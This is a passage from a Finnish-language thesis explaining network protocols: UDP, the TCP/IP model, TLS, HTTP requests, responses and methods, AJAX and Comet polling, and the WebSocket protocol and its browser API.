Toinen yleisesti käytetty kuljetuskerroksen protokolla on User Datagram Protocol (UDP), joka puolestaan on tilaton ja epäluotettava protokolla. Toisin kuin tietovirtaan perustuvat protokollat kuten TCP, UDP tuottaa aina yhden IP-tietosähkeen yhtä UDP-tietosähkettä kohti. UDP on kuitenkin huomattavasti kevyempi kuin TCP ja siksi se soveltuu tiettyihin käyttötarkoituksiin (esimerkiksi videon suoratoistoon) TCP:tä paremmin. UDP ei muodosta pysyvää yhteyttä eikä siten tarvitse kättelyprosessia yhteyden aloittamiseksi. TCP:n tavoin UDP tunnistaa sovellusprosessin portin numeron mukaan, joka liitetään otsakkeeseen taulukon 7 mukaisesti. Otsakkeeseen kuuluu lisäksi tarkistesumma, jolla varmistetaan tietosähkeen sisällön eheys, mutta muuta luotettavuusmekanismeja protokollassa ei ole.

TCP:llä ja UDP:llä on siis erilaiset vaatimukset ja hyödyt. Esimerkiksi multimedian siirrossa yksittäisen paketin puuttuminen ei ole suuri menetys, mutta tiedostonsiirrossa kaikkien pakettien on syytä saapua perille ja oikeassa järjestyksessä. Verkkotason protokollan siis riippuu sovelluksesta.

0	16
Lähteen portti	Kohteen portti
Pituus	Tarkistesumma
Viestin sisältö	

Taulukko 7. UDP-otsake.

2.4. TCP/IP-viitemalli

Internetin toteuttamasta protokollapinosta käytetään nimitystä TCP/IP-malli kuten edellä on mainittu. OSI-mallin tavoin TCP/IP-viitemallissa protokollat kuvataan tasoissa, joissa ylemmän tason protokollat käyttävät alemmaa tasoa ja rinnakkaiset tasot ovat yhteydessä toisiinsa. Mallin verkkokerroksen protokolla on IP ja kuljetuskerroksen protokolla on yleisimmin TCP, mutta nimestä huolimatta myös muita protokollia on mahdollista käyttää, esimerkiksi UDP:tä (taulukko 8). Toisinaan malli kuvataan ilman pohjimmaista eli fyysistä kerrosta.

Ensimmäinen eli matalin taso on fyysinen taso kuten OSI-mallissa. Fyysiseen kerrokseen kuuluu laitteet ja niiden kautta kulkevan sähkövirran tai radiotaajuuksien ominaisuuksien määritelmät ja matalimman tason laitteiden sisäisesti käyttämät protokollat ja ajurit.

Toinen taso on linkkitaso. Linkkitaso sisältää verkkoyhteyslaitteen ajurit ja käyttöjärjestelmälle näkyvän rajapinnan. Linkkitasolla luodaan yhteys kahden päätepisteen välille. Kolmas taso on verkkotaso. Verkkotason tehtävä on yhdistää erilliset verkot toisiinsa. Verkot saattavat käyttää sisäiseen kommunikointii eri protokollia linkkitasolla. TCP/IP-viitemallin verkkotason protokolla

on IP-protokolla. Neljäs taso on kuljetustaso, jolla TCP/IP-viitemallissa kuljetustason protokolla on TCP tai UDP. Viides taso on sovellustaso, jonka protokolla valitaan sovelluksen mukaan. Sovellustason protokollia on esimerkiksi FTP ja HTTP.

Taso	Protokolla
5. Sovelluskerros	Esim. HTTP
4. Kuljetuskerros	TCP, UDP
3. Verkkokerros	IP
2. Linkkikerros	Esim. Ethernet
1. Fyysinen kerros	Ohjainajurit

Taulukko 8. TCP/IP-malli.

Moderniin tietoliikenneyhteyteen kuuluu useita muita eri tasojen protokollia. Tämän tutkielman kannalta oleellisia protokollia ovat pelkästään kuljetus- ja sovellustason protokollat. Alemman tason protokollia ei käsitellä tämän luvun esittelyä syvällisemmin.

TCP- ja UDP-protokollat käyttävät numeroituja verkkoportteja (engl. port) sovellusten tunnistamiseen. Verkkoporteista käytetään tästä eteen päin termiä portti. Porttien lukumäärä on 65536. Tietyt portit ovat varattuja sovellustason protokollille. Taulukossa 9 on listattu muutamia tunnetuimmista varatuista TCP-porteista. Internet Assigned Number Authority (IANA) vastaa varattujen porttien numeroinnista.

Protokolla	Portti
FTP	20,21
SSH	22
Telnet	23
HTTP	80
IRC	194
HTTPS	443

Taulukko 9. Esimerkkejä yleisimmistä varatuista porteista.

2.5. TLS/SSL

Tietoliikenteen salaamiseen (engl. cryptography) Internetissä käytetään Transport Layer Security -protokollaa (TLS), joka tunnetaan myös nimellä Secure Socket Layer (SSL). Protokollan määritelmä on RFC-5246. TLS salaa sovellustason tiedon ja välittää sen salatussa muodossa kuljetustason protokollalle. Se siis toimii sovellustason ja kuljetustason välissä. Salattujen viestien

sisältöä ei voida lukea selkokielisenä Internetin välikäsisä (kuten välityspalvelimissa), mutta viestien otsakkeet säilyvät tietenkin salaamattomana ja luettavissa.

TLS-protokolla voidaan jakaa kahteen tasoon. Ensimmäinen taso on kättelyprotokollan taso (engl. handshake layer) ja toinen on tallennustaso. (engl. record layer) Kättelyprotokollan taso koostuu kolmesta aliprotokollasta: Handshake-, ChangeCipherSpec- ja Alert-aliprotokollasta. Handshake-aliprotokolla luo istunnon päätepisteiden välille ja neuvottelee yhteyden aikana käytettävistä avaimista. ChangeCipherSpec-aliprotokollalla päätepiesteet vaihtavat salausavaimia istunnon aikana. Alert-aliprotokollalla päätepiesteet ilmoittavat viesteillä yhteyden tilan muutoksista vastapuolelle. Tyypillisiä ilmoituksia ovat yhteyden sulkeminen, virhetilanteet ja virhe salauksen purkamisessa.

Kättelyprosessissa Handshake-aliprotokolla vastaa osapuolien autentikoinnista, salauksesta, hajautusfunktioista ja kompressioalgoritmistä. Tässä tutkielmassa ei käsitellä näiden funktioiden yksityiskohtia. TLS/SSL käyttää asymmetriseen kryptografiaan perustuvia X.509-sertifikaatteja päätepiesteiden tunnistamiseen. Sertifikaatti on digitaalinen yksilöivä tunnus, joita myöntävät luotetut viraanomaiset (engl. certificate authority, CA).

Tiedon salauksessa käytetään jaettua (symmetristä) ja julkista ja yksityistä (asymmetristä) avainta. Symmetrisellä eli jaetulla avaimella samaa avainta käytetään tiedon salaamiseen ja purkamiseen, jolloin molempien päätepiesteiden on tunnettava symmetrinen avain. Symmetrinen avain soveltuu suurien datamäärien salaamiseen, sillä se on laskennallisesti nopeampaa kuin asymmetristen avainten käyttö. Asymmetrinen salaus perustuu kahteen toisiina linkitettyyn avaimen: julkiseen ja yksityiseen, jotka muodostetaan monimutkaisella matemaattisella prosessilla. Julkinen avain on käytännössä kaikkien saatavilla, mutta yksityinen avain on pidettävä ainoastaan sen hallitsijan tiedossa. Avaimet ovat suhteessa toisiinsa siten, että ne tekevät toistensa vastaoperaation; jos julkisella avaimella salataan tieto, niin vain yksityisellä avaimella salaus voidaan purkaa, ja päin vastoin. Hajautusalgoritmeja käytetään tiedon eheyden tarkistamiseen. Yleisimmät hajautusalgoritmit ovat MD5 ja SHA-1.

Tallennustason protokolla käsittelee sovellukselta tulleen tiedon ja salaa sen kättelyprosessissa määritellyllä algoritmilla ja avaimella. Tieto voidaan kompressoida ja fragmentoida ennen kuin tallennustaso siirtää sen kuljetustason protokollalle.

2.6. HTTP/S-protokolla

Sovellustason alapuoliset protokollat ovat jokseenkin standardoituneet muutamien protokollien ympärille, kuten IP:n ja TCP:n. Sovellustason protokollia puolestaan on huomattavasti laajempi kirjo. WWW:n perustavanlaatuisin sovellusprotokolla on *Hypertext Transfer Protocol* (HTTP), jonka virallinen määritelmä on RFC-2616. HTTP alunperin kehitettiin välittämään yksinkertaisia hyperlinkeillä yhteen linkitettyjä staattisia sivuja, jotka kuvataan *HyperText Markup Language* (HTML) merkintäkielellä.

HTTP-protokollan kryptattu versio HTTPS (*Hypert Text Transfer Protocol Secure*) muodostaa yhteyden TLS/SSL-protokolla tason päälle. TLS-tason käyttämien asymmetristen kryptografiamenetelmien avulla HTTP-viestin sisältö salataan, jolloin viestiä välittävät isännät eivät voi lukea viestin sisältöä selkokielisenä. TLS-salauksen on osoitettu tarjoavan täysin luotettavan tietosuojan [Gajek *et al.*, 2008]. Toteutuksen on tosin oltava huolellisesti suunniteltu ja kehitetty. Esimerkiksi suositussa OpenSSL-kirjastossa ilmeni keväällä 2014 vakava tietoturva-aukko, joka mahdollisti salaamattoman tiedon vuotamisen ulkopuolisille osapuolille.

HTTP noudattaa asiakas ja palvelin -arkkitehtuuria ja se perustuu kysely- (engl. request) ja vastaus (engl. response) pareihin. Asiakasohjelma, joka tyypillisesti on Internet selain (tästä lähtien käytetään termiä selain) lähettää pyynnön HTTP-palvelinohjelmalle, joka vastaa pyyntöön pääsääntöisesti tallentamatta mitään tilatietoa yhteydestä tai asiakkaasta. Joissakin erikoistapauksissa pyynnöstä saatetaan tallentaa jotain tietoa esimerkiksi välimuistittamiseksi. HTTP on siis puolittaisesti kaksisuuntainen protokolla. HTTP-asiakasohjelmia kutsutaan myös käyttäjäagenteiksi (engl. user agent).

Keskeinen käsite HTTP-protokollan ajattelumaailmassa on resurssi. HTTP-palvelimien tarjoamat palvelut perustuvat niiden tarjoamiin resursseihin. Resursseja ovat esimerkiksi WWW-sivut. Resurssit määritellään ja identifioidaan URI:en perusteella, josta on esimerkki taulukossa 10. HTTP-URI alkaa protokollamääreen tunnuksella, joka on joko http:// tai https://. Tunnuksen jälkeen määritellään palvelimen isännän osoite joko verkko-osoitteena tai suoraan IP-osoitteena. Isännän jälkeen voi valinnaisesti määrittää portin numeron. Resurssin nimi määritellään kenoviivan perässä. Resurssille voidaan myös määrittää parametreja. Portti ja parametrit ovat valinnaisia. Salaamattoman HTTP-protokollan (http://) oletusportti on 80 ja salatun (https://) 443.

http://	Isännän osoite	[:portti]	/	resurssin nimi	[?parametrit]
http://www.esimerkki.org/foorumi.html?viestiId=98					

Taulukko 10. HTTP-protokollan URL-malli ja esimerkki.

Myös HTTP-protokollan määritelmään kuuluu otsaketiedot. HTTP-otsakkeet eroava monella tavalla muiden alempien tasojen protokollien otsakkeista. Aikaisemmin esitetyt protokollaotsakkeet muodostuvata lähinnä tietokentistä, joilla on tarkasti määritellyt arvot ja niiden tulkinnat. HTTP pyynnön ja vastauksen otsakkeet eivät myöskään ole täsmälleen samanlaiset. Otsakkeet määritellään riveittäin tarkkojen tietokenttien sijaan. Pyyntö ja vastauksen varsinainen sisältö liitetään otsakerivien perään. Listauksessa 1 on esimerkki HTTP-pyyntöstä ja listauksessa 2 vastauksesta.

Pyynnön otsake alkaa pyyntörivillä ja sitä voi seurata yksi tai useampi otsakerivi. HTTP-otsakkeella viitataan tästä lähtien HTTP-pyyntöön tai vastauksen otsakeriviin. Ensimmäisellä rivillä on pyynnön HTTP-metodi, jonka perässä välilyönnin jälkeen resurssin nimi. Resurssin perässä

välilyönnin jälkeen määritellään protokollan versio. Jokainen otsake alkaa uudelta riviltä otsakkeen nimellä, jonka perässä kaksoispisteen jälkeen annetaan otsakkeen sisältämä arvo listauksen 1 mukaisesti. Pyyntöön liitettävä varsinainen viestisisältö liitetään otsakelistauksen perään.

Vastauksen otsake alkaa myös statusrivillä, jonka muoto tosin poikkeaa pyynnön aloitusrivistä (listaus 2). Ensimmäisenä rivillä määritellään protokollan versio, sen jälkeen välilyönnillä eroteltuna statuskoodi, jonka jälkeen välilyönnillä eroteltuna lyhyt kuvaus vastauksen tilasta tekstimuodossa. Statusrivin jälkeen myös vastaukseen voidaan liittää mielivaltainen määrä HTTP-otsakkeita. Myös vastauksen varsinainen viestisisältö liitetään otsakelistauksen perään yhden tyhjän rivin jälkeen listauksen 2 mukaisesti.

```
GET / HTTP/1.1
User-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388
Version/12.17
Host: www.wikipedia.org
Accept: text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap,
*/*;q=0.1
Accept-Language: en,fi-FI;q=0.9,fi;q=0.8
Accept-Encoding: gzip, deflate
Cookie: GeoIP=FI:Tampere:61.5000:23.7500:v4
Cache-Control: no-cache
Connection: Keep-Alive
```

Listaus 1. Esimerkki HTTP-pyyntöstä.

```
HTTP/1.1 200 OK
Server: Apache
Cache-control: s-maxage=3600, must-revalidate, max-age=0
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 11186
Accept-Ranges: bytes
Date: Fri, 13 Jun 2014 07:01:21 GMT
Age: 2376
Connection: keep-alive

<!DOCTYPE html>
<html lang="mul" dir="ltr">
<head>
...
```

Listaus 2. Esimerkki HTTP-vastauksesta.

HTTP-määritelmään kuuluu useita metodeja, joilla on oma semanttinen merkitys. Metodien toiminnallisuutta ei tosin ole sidottu, joten HTTP-palvelinsovellukset voivat toteuttaa jokaisen metodin toiminnon omalla tavallaan. Erilaisilla arkkitehtuurimäärittelyillä voidaan sitoa metodien toiminto. Esimerkiksi luvussa 4 esiteltävä REST-arkkitehtuuri sitoo tietyt metodit tiettyihin toiminnallisiin.

GET-metodilla haetaan URI:n määrittelemää resurssia. Sillä ei pitäisi olla mitään vaikutusta palvelinsovelluksen tai sen takana olevan tietomallin tilaan.

HEAD-metodi on käytännössä sama kuin GET, mutta HEAD palauttaa ainoastaan otsaketiedot. Vastauksesta jätetään varsinainen sisältö pois kokonaan. Tällä metodilla voidaan hakea metatietoa resurssista, mistä voi joissain tilanteissa olla hyötyä.

POST-metodilla luodaan uusi resurssia vastaava entiteetti. Entiteetin tiedot välitetään pyynnön viestisisällössä.

PUT-metodilla palvelinta pyydetään päivittämään resurssia vastaava entiteetti tai, jos entiteettiä ei ennestään ole, luomaan uusi. Kahden identtisen peräkkäisen PUT-pyyntöjen jälkeen tietomallin tila tulisi olla täysin identtinen.

DELETE-metodilla pyydetään poistamaan resurssi.

TRACE-metodilla palvelin palauttaa pyynnön takaisin asiakkaalle. Asiakas voi siten tarkistaa tapahtuuko sen lähettämiin pyyntöihin muutoksia reitittimissä.

OPTIONS-metodi palauttaa ne metodit, jotka palvelin hyväksyy resurssia kohtaan.

CONNECT-metodi muuttaa pyynnön TCP/IP-tunneliksi.

PATCH-metodilla välitetään osittaisia muutoksia resurssiin.

Palvelimen vastaukseen kuuluu aina statuskoodi. Statuskoodit noudattavat HTTP-määritelmän mukaista määritelmää ja ne on jaettu luokkiin. Esimerkiksi luokkaa 2xx olevat koodit osoittavat onnistuneesta pyynnöstä ja 4xx-luokan koodit kertovat virheestä.

2.7. Verkkosivujen esitysteknologiat

Verkkosivulla tarkoitetaan pääasiassa staattista sisältöä tarjoilevaa WWW-sivua, verkkosovelluksella puolestaan tarkoitetaan sovellusta, jonka käyttöliittymänä toimii HTML-pohjainen verkkosivu. Verkkosovellus rakentuu vähintään kahdesta erillisestä osasta, jotka voi ja usein ovat erillisiä prosesseja eri isännillä. Verkkosovelluksen käyttöliittymä (engl. front-end) on selaimessa ajettava ohjelma, joka muodostuu useista osista. Verkkosovelluksen tietomalli ja varsinainen sovelluslogiikka (engl. back-end) suoritetaan palvelimella. Edelleen tietomalli ja logiikkasovellus voivat olla erillisiä prosesseja eri isännillä. Myös sovelluksen logiikkataso voidaan jakaa useiksi prosesseiksi, jotka sisäisesti muodostavat oman asiakas ja palvelin -arkkitehtuurin.

Verkkosovelluksen käyttöliittymä esitetään usein HTML-pohjaisena sivuna. Sovelluksen tietomalli on keskitetty tietokanta ja logiikka suoritetaan usein erillisellä palvelimella. Tietokanta ja logiikka saattavat olla erillisillä palvelimissa ja eri isännillä.

Verkkosivujen ja -sovellusten esitystason teknologiana käytetään merkintäkieltä (engl. markup language) HTML (Hyper Text Markup Language). Merkintäkielillä kuvataan näkymän, tiedon tai minkä tahansa entiteetin rakenne metainformaatiolla. HTML-kielillä jäsennetään verkkosivun sisältö elementeillä, joihin voidaan asettaa attribuutteja. Verkkosivujen sisältö WWW:n alkuaikoina oli pääasiassa tekstiä, joten valtaosa HTML:n aikaisemmista versioista käsittelee lähinnä staattisen tekstin esittämistä. Tuorein merkittävä versio HTML:stä on HTML5, johon tuotiin huomattava määrä uusia elementtejä, joilla voidaan esittää interaktiivista sisältöä ja toistaa multimediaa. Termiä HTML5 käytetään myös kokoamaan joukko uusia verkkoteknologioita.

WWW:n alkuperäinen tarkoitus oli jakaa harvoin sisällöltään muuttuvia sivuja, joiden rakenne koodattiin HTML:llä. Tiedon päivittyessä HTML-sivua muutettiin käsin ja päivitetty sivu tallennettiin palvelimelle, minkä seurauksena käyttäjät saivat päivitetyn sivun. Sivuilla alettiin kuitenkin kaipaamaan dynaamista sisältöä, joka oli yksilöllinen jokaiselle käyttäjälle. Palvelinympäristöihin kehitettiin dynaamisia HTML-sivuja tuottavia ohjelmointiteknologioita. PHP on eräs tunnetuimmista palvelinpään ohjelmointityökaluista, joilla luodaan dynaamisesti HTTP-pyynnön yhteydessä sisältöä HTML-sivulle ennen kuin se lähetetään vastauksessa asiakkaalle.

Sittemmin palvelinympäristöjen dynaamisen sisällön ohjelmointityökalut ovat kehittyneet räjähdysmäisesti. Nykyisin suosittuihin ohjelmointityökaluihin kuuluu muun muassa Javan JSP-tekniikka, .NET-ympäristö ja JavaScript-pohjainen Node.js.

Verkkosovelluksien interaktiivisuus tuotetaan selaimessa tulkittavilla komentosarjakielillä (engl. script language). Ylivoimaiseksi suosikiksi on vuosien saatossa noussut JavaScript-komentosarjakieli. Komentosarjakielten tulkkausohjelma (käytetään myös nimitystä moottori) on osa verkkoselainta, ja selain tarjoaa rajapinnan komentosarjakoodin suorittamiseksi. Komentosarjakooditiedostot välitetään selaimen HTTP-pyynnöillä, kuten muukin verkkosivun sisältö.

Avoimien komentosarjakielten lisäksi verkkosovelluksia kehitetään kolmansien osapuolien kehittämällä yksityisillä ohjelmointityökaluilla ja teknologioilla. Adoben kehittämä Flash-ympäristö on eräs laajasti käytetty kolmannen osapuolen teknologia.

Vaikka verkkosivu pystytään luomaan dynaamisesti pyynnön yhteydessä verkkosovellusten yleiseksi ongelmaksi ilmeni koko sivun päivittäminen, kun vain osa verkkosovelluksen käyttöliittymästä tarvitsi päivittämistä. Sivunlatauksella selain lähettää pyynnön koko sivun uudelleenlataamiseksi, joka on hidas prosessi. Tätä ongelmaa ratkomaan kehitettiin *Asymmetric JavaScript And XML* (AJAX) -teknologia. AJAX ei ole yksittäinen ohjelmointitekniikka, vaan se koostuu joukosta erillisiä teknologioita. AJAX:ssa yhdistyy seuraavat teknologiat:

1. HTML-standardin mukainen esityskerros
2. Dynaaminen näkymän hallinta DOM-tekniikalla
3. Avoimeen standardiin perustuva tiedonkäsittely

4. Asynkroninen tiedon haku

5. JavaScript-rajapinta.

AJAX:iin kuuluva selainrajapinnan *XmlHttpRequest*-olio tarjoaa JavaScript-rajapinnan asymmetristen HTTP-kutsujen muodostamiseen. *XmlHttpRequest* -olio tuottaa HTTP- tai HTTPS-protokollan mukaisen kutsun, joten AJAX:lla on mahdollista tehdä puolittainen kaksisuuntaisia kyselyjä palvelimelle.

Nimestään huolimatta AJAX:n välittämän tiedon ei tarvitse olla XML-muodossa, ja nykyään useammin AJAX:n kanssa kuljetettava tieto on JSON-muodossa. JSON on huomattavasti kevyempi formaatti XML:ään nähden.

Verkkosovelluksissa on alettu kaipaamaan yhä enemmän interaktiivisuutta, ja myös täyttä kaksisuuntaista yhteyttä selaimen ja palvelimen välille on pyritty rakentamaan erilaisilla ohjelmointitekniikoilla ja erillisillä teknologioilla. Koska WWW on rakennettu hyvin pitkälle HTTP-protokollan päälle, on sen avulla pyritty kehittämään tekniikoita, joilla luodaan jonkinlainen kaksisuuntainen yhteys selaimen ja HTTP-palvelimen välille. Näistä tekniikoista käytetään yleisnimitystä Comet. Vaikka HTTP käyttää kuljetuskerroksena pääasiassa TCP:tä, joka on yhteyden muodostava protokolla ja siten mahdollistaa täyden kaksisuuntaisen yhteyden, on HTTP itsessään vain puolittain kaksisuuntainen.

Tyypillisimmät Comet-tekniikat ovat HTTP poll ja HTTP long-poll, joista molemmat ovat niin sanottuja kyselytekniikoita (eng. polling). Kyselytekniikka tarkoittaa karkeasti sitä, että päivitetyn datan saamiseksi asiakkaan on jatkuvasti tai tietyin väliajoin kysyttävä palvelimelta (tai muulta keskitetyltä prosessilta tai tietomallilta, joka omaa uusimman tiedon), onko tieto tai resurssi päivittynyt ja haettava päivitetty tieto.

HTTP poll -tekniikalla asiakasohjelma kutsuu palvelinta tietyllä aikavälillä haetun resurssin päivittämiseksi. Palvelin vastaa normaaliin tapaan välittömästi jokaiseen pyyntöön. HTTP long-poll -tekniikalla, samoin kuin HTTP poll, asiakas lähettää palvelimelle tiedon päivityspyyntöjä. Palvelin ei kuitenkaan välttämättä välittömästi vastaa pyyntöön, vaan se jättää vastauksen odottamaan kunnes haettu resurssi on päivittynyt tai tietty aika on täytynyt. HTTP poll ja long-poll tekniikoita tarkastellaan hieman tarkemmin myöhemmin luvussa 4.

Comet-tekniikat kärsivät HTTP-protokollan raskaasta otsaketiedosta, jotka lähetetään jokaisella pyynnöllä. Usein kyselytekniikoilla ei ole tarpeellista lähettää kaikkea otsaketietoa jokaisella pyynnöllä. Lisäksi HTTP-protokollan päälle rakennetut kaksisuuntaista yhteyttä simuloivat tekniikat kärsivät hatarasta suunnittelusta. Uuden kaksisuuntaisen verkkoprotokollan kehittäminen aloitettiin osana HTML5-spesifikaatiota ja siitä käytetään nimitystä websocket-protokolla. Seuraavassa luvussa paneudutaan tarkastelemaan websocket-protokollan teknisiä yksityiskohtia.

3. WebSocket-teknologia

WebSocket-teknologian kehittäminen aloitettiin alun perin osana HTML5-spesifikaatiota ja protokolla standardoitiin vuonna 2011. Myöhemmin protokolla kuitenkin eriytettiin itsenäiseksi kokonaisuudeksi, tosin vieläkin kirjallisuudessa usein puhutaan websocket-teknologiasta HTML5:n yhteydessä. WebSocket-protokolla määritellään RFC:ssä numero 6455. Protokollasta vastaava IETF työskentelee läheisesti *World Wide Web Consortiumin* (W3C) kanssa, joka puolestaan kehittää websocket-rajapintaa, jonka kautta selaimilla voidaan avata yhteys websocket-protokollan yli. Yhdessä rajapinnan kanssa websocket-protokolla muodostaa websocket-teknologian. Protokolla- ja rajapintamääritelmä ovat avoimia.

WebSocket-teknologia mahdollistaa täyden kaksisuuntaisen yhteyden selain- ja palvelinohjelmistojen välille yhden TCP-verkkopistokkeen yli. Teknologia on alun perin suunniteltu korvaamaan aiemmin tähän tarkoitukseen yleisesti käytetyt, mutta suunnittelultaan ja tehokkuudeltaan heikommät ohjelmointitekniikat ja teknologiat [Fette *et al.*, RFC-6455 2011; Wang *et al.*, 2013]. Aiemmin kaksisuuntaisen yhteyden avaamiseen selaimesta käytettiin HTTP-pohjaisia Comet-tekniikoita. Kuten aiemmin on esitetty, HTTP on vain puolittain kaksisuuntainen protokolla, minkä takia Comet-tekniikat kärsivät heikommasta suorituskyvystä ja niiden suunnittelun perusteita voidaan pitää kyseenalaisena. Lisäksi kolmannet osapuolet (eli yksityiset yritykset) ovat kehittäneet ohjelmointitekniikoiden, jotka tarjoavat täyden kaksisuuntaisen yhteyden asiakkaan ja palvelimen välille. Tunnettu esimerkki kolmannen osapuolen teknologioista on Adoben kehittämä Flash, joka on laajasti käytössä verkkosovelluskehityksessä [Kontaxis and Antoniadis, 2011]. Yksityisten tahojen kehittämät teknologiat eivät luonnollisesti useinkaan ole avoimia.

WebSocket-yhteyden yli lähetetty data voi olla UTF-8-koodatussa tekstimuodossa tai binäärimuodossa. Tiedon lähettäminen kuvataan tarkemmin seuraavissa aliluvuissa. WebSocket-protokolla sijoittuu OSI-mallissa sovellustasolle, mutta protokolla mahdollistaa ylempien sovellustasojen protokollien käyttämisen.

Kuljetustason protokollana websocket-protokolla käyttää TCP-protokollaa. TCP-yhteydellä tietoliikenne perustuu datavirtaan, mutta websocket-protokolla jakaa lähetettävän datan erillisiin paketteihin. Se siis tavallaan yhdistää UDP-tyylisen paketteihin jakamisen TCP:n luotettavaan ja jatkuvaan yhteyteen. Yhteys päätepisteiden välille muodostetaan yhden TCP-verkkopistokkeen yli.

WebSocket-protokollan kehityksessä on pyritty huomioimaan nykyinen verkkoinfrastruktuuri, joka on rakennettu pitkälti WWW:n ja sen myötä HTTP-protokollan ehdoilla. WebSocket-protokollan liittäminen nykyisiin verkkoihin on haluttu pitää mahdollisimman vaivattomana. Tutkimuksissa on tosin käynyt ilmi, että käytännössä laajasti käytettyjen verkkolaitteiden kanssa voi

ilmetä yhteensopivuusongelmia [Cassetti, 2011]. Ongelmia voi myös ilmetä myös muiden IPS-turvallaitteiden (engl. intrusion prevention system) toiminnassa [Cassetti, 2011], sillä websocket-teknologia on vielä verrattain nuori muihin teknologioihin nähden, ja etenkin tietoliikennettä analysoivat laitteet eivät välttämättä tunne teknologiaa. Selaintuki on myös huomioitava uuden teknologian esiintyessä. Tämän tutkielman tekemisen aikana ilmeni, että kaikki yleisimmät selaimet tukevat websocket-protokollaa ainakin jollain tavalla, mutta kattava selaintukitutkimus on tämän tutkielman laajuuden ulkopuolella.

Yhteensopivuus verkkoinfrastruktuurin kanssa on huomioitu siten, että websocket-yhteys aloittaa elämänsä HTTP-kyselynä ja sen oletusportit ovat samat kuin HTTP-protokollalla: 80 ja 443. Tästä on paljon hyötyä protokollan käyttöön ottamiselle, sillä kyseisillä porteilla on erikoisasema nykyisissä palomuuressa ja välityspalvelimissa sekä useissa käyttöjärjestelmissä. Esimerkiksi Linux-käyttöjärjestelmissä verkkoportit alle 1024 ovat varattu. Lähiverkkojen, kuten yritys- ja kotiverkkojen palomuuressa ei tarvitse avata ylimääräisiä portteja websocket-protokollalle.

Yhteys asiakas- ja palvelinohjelman välillä websocket-protokollalla on siis täysin asynkroninen, mikä mahdollistaa sen, että molemmat päätepisteet voivat aloittaa tiedon lähettämisen riippumatta vastaanottajan tilasta. Websocket-protokollaa voidaan käyttää missä tahansa asiakas ja palvelin-arkkitehtuurin toteuttavassa järjestelmässä. Lähtökohtaisesti websocket-protokolla on kuitenkin suunniteltu selainten käytettäväksi, mutta asiakasohjelma voi periaatteessa olla mikä tahansa ohjelma, joka toteuttaa protokollan. Käytännössä websocket-protokolla ei tarjoa erityistä hyötyä muille, kuin selaimissa ajettaville verkkosovelluksille, sillä se on suunniteltu toimimaan HTTP-valtaisessa verkkoympäristössä. HTTP-yhteensopivuus tuo tiettyä ylimääräistä monimutkaisuutta, mikä ei kaikkien puhtaisten asiakkaiden kannalta ole tarpeellista.

HTTP-yhteensopivuudesta on hyötyä myös palvelinohjelmien kehittämisessä. Koska oletusportit ovat samat kuin HTTP-protokollalla, sama palvelinohjelma voi palvella HTTP- ja websocket-yhteyksiä samasta portista. On kuitenkin mahdollista, että websocket-protokollamäärittelmä elää ja seuraavat versiot tulevat etäännyttämään HTTP-protokollasta.

Websocket-protokollan yhteys voidaan myös viestiä kryptaamattomana tai kryptattuna TLS/SSL-tason yli, kuten HTTP. Suojatun websocket-yhteyden URI:n etuliite on wss:// kun suojaamattomana etuliite on ws://. Suojaamattoman yhteyden oletusportti on 80 ja suojatun 443. Websocket URI esitellään seuraavassa kohdassa.

3.1. Websocket-rajapinta

Yhteyden avaus tapahtuu luomalla WebSocket-olio, jolle annetaan parametrinä websocket-URI. Esimerkki rakentimesta on listauksessa 3. Rakennin ottaa myös valinnaisena parametrinä joko yksittäisen merkkijonon tai listan merkkijonoja sovellustason protokollista. Rakentimen palauttaman olion kautta asetetaan takaisinkutsufunktiot websocket-rajapinnan tapahtumille.

Rajapinnan tarjoavat tapahtumat ovat yhteyden avaaminen (onopen()), viestin saapuminen (onmessage()), yhteyden sulkeminen (onclose()) ja virheen tapahtuminen (onerror()). Näiden takaisinkutsufunktioiden lisäksi rajapintaan kuuluu neljä funktiota viestin lähettämiseen eri tietotyypeille (send(DOMString), send(Blob), send(ArrayBuffer) ja send(ArrayBufferView)) ja funktio yhteyden sulkemiselle (close()). Sulkemisfunktiolle annetaan valinnaisia parametreinä sulkemiskoodi ja tekstimuotoinen selitys yhteyden sulkemiselle.

```
Var websocket = WebSocket("ws://esimerkki.org/websocket",  
    ["protokolla1", "protokolla2"]);
```

Listaus 3. WebSocket rakennin.

Rajapintamääritelmään kuuluu myös yhteyden tilan määrittäminen. Yhteys voi olla kerrallaan yhdessä kolmesta tilasta: CONNECTING, OPEN, CLOSED. Yhteys asetetaan tilaan CONNECTING kättelyprosessin ajaksi. Kättelyprosessi esitellään tarkemmin seuraavassa aliluvussa. Onnistuneen kättelyprosessin jälkeen yhteys asetetaan tilaan OPEN, jolloin yhteys on auki ja voi lähettää ja vastaanottaa viestejä. Sulkemiseen myös kuuluu prosessi, jonka ajaksi tilaksi asetetaan CLOSING. Yhteyden sulkemisen jälkeen yhteys asetetaan tilaan CLOSED. Rajapinnan määritelmä on listauksessa 4.

```

enum BinaryType { "blob", "arraybuffer" };
[Constructor(DOMString url, optional (DOMString or DOMString[]) protocols),
Exposed=Window,Worker]
interface WebSocket : EventTarget {
    readonly attribute DOMString url;

    // ready state
    const unsigned short CONNECTING = 0;
    const unsigned short OPEN = 1;
    const unsigned short CLOSING = 2;
    const unsigned short CLOSED = 3;
    readonly attribute unsigned short readyState;
    readonly attribute unsigned long bufferedAmount;

    // networking
        attribute EventHandler onopen;
        attribute EventHandler onerror;
        attribute EventHandler onclose;
    readonly attribute DOMString extensions;
    readonly attribute DOMString protocol;
    void close([Clamp] optional unsigned short code, optional DOMString reason);

    // messaging
        attribute EventHandler onmessage;
        attribute BinaryType binaryType;
    void send(DOMString data);
    void send(Blob data);
    void send(ArrayBuffer data);
    void send(ArrayBufferView data);
};

```

Listaus 4. WebSocket rajapinnan määritelmä.

WebSocket ohjelmointirajapinta huolehtii kokonaan kättelyprosessista. Sovelluskehittäjän tarvitsee määritellä vain takaisinkutsufunktiot saapuville viesteille ja viestien lähettämiseksi. Näiden käytännössä pakollisten funktioiden lisäksi rajapinta tarjoaa muita takaisinkutsufunktioita. WebSocket-rajapinta on täysin tapahtumavetoinen (engl. event driven), eli sovellustasolla ei tarvitse kutsua rajapinnan funktioita, rajapinta kutsuu sovelluksen funktioita. Rajapinnalla voi lähettää dataa eri tietotyypeillä. Binäätimuodon tutetut tyypit ovat JavaScriptin Blob, ArrayBuffer ja ArrayBufferView.

